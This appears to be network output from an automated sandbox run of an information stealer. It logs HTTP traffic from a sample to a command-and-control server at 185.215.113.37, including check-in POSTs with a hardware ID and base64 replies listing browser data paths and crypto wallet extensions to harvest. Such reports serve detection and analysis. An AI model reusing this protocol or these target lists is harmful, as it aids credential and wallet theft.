Oct 13, 2024 11:54:15.771497965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771517992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771533966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771545887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771568060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771581888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771605015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771619081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771637917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771652937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771672010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771687984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771703005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771714926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771737099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771750927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771770954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771791935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771806002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771821022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771840096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771869898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771872997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771892071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771907091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771918058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771945000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.771965027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.771979094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772012949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772023916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772046089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772063971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772078991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772094011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772114038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772136927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772150993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772171021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772186041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772198915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772221088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772233963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772253990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772269011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772289038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772300959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772321939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772341967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772355080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772376060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772389889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772423983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:15.772454977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:15.772480011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:16.263617992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:16.263663054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:16.269054890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:16.269105911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:16.997128963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:16.997212887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:17.058269978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:17.063483953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:17.293292046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:17.293342113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:17.293365002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:17.293380976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:17.293386936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:17.293548107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:17.295933962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:17.301193953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:17.526959896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:17.530164957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:17.551592112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:17.556703091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:18.276051998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:18.277951956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:18.303262949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:18.308566093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:18.551479101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:18.551510096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:18.551537037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:18.551553011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:18.551558971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:18.551572084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:18.551635981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:18.551635981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:18.551635981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:18.553352118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:18.558327913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:19.280342102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:19.280554056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:24.282567978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:24.282757044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:25.198227882 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6836	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 11:54:02.021884918 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 11:54:02.749953985 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:02.755476952 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 44 34 46 36 38 37 31 37 37 43 39 33 32 37 33 31 37 38 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="hwid"02D4F687177C932731780------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="build"doma------KKEHDBAEGIIIEBGCAAFH--
Oct 13, 2024 11:54:03.004868984 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 57 45 77 4d 6a 64 68 4e 7a 55 79 5a 6a 41 79 59 6d 4d 78 4d 47 49 79 4d 7a 41 78 4f 47 5a 6c 5a 47 51 34 4d 44 42 6c 4d 54 45 33 4f 47 4d 30 4d 6d 51 77 4d 6a 63 31 4e 47 4d 78 59 57 51 33 4f 44 4d 79 4e 54 52 6a 4d 6a 6c 69 5a 6d 45 7a 4d 7a 49 35 4d 44 45 79 4e 6d 45 35 5a 44 52 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YWEwMjdhNzUyZjAyYmMxMGIyMzAxOGZlZGQ4MDBlMTE3OGM0MmQwMjc1NGMxYWQ3ODMyNTRjMjliZmEzMzI5MDEyNmE5ZDRlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 13, 2024 11:54:03.006746054 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDBFCBKFIDHIDHDHIE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------ECGDBFCBKFIDHIDHDHIEContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------ECGDBFCBKFIDHIDHDHIEContent-Disposition: form-data; name="message"browsers------ECGDBFCBKFIDHIDHDHIE--
Oct 13, 2024 11:54:03.239504099 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 13, 2024 11:54:03.239588976 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 13, 2024 11:54:03.241067886 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBG Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 2d 2d 0d 0a Data Ascii: ------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="message"plugins------IIEHJEHDBGHIDGDGHCBG--
Oct 13, 2024 11:54:03.473839045 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 13, 2024 11:54:03.473925114 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 13, 2024 11:54:03.473978996 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 13, 2024 11:54:03.474033117 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 13, 2024 11:54:03.482089996 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Oct 13, 2024 11:54:03.482162952 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Oct 13, 2024 11:54:03.482215881 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
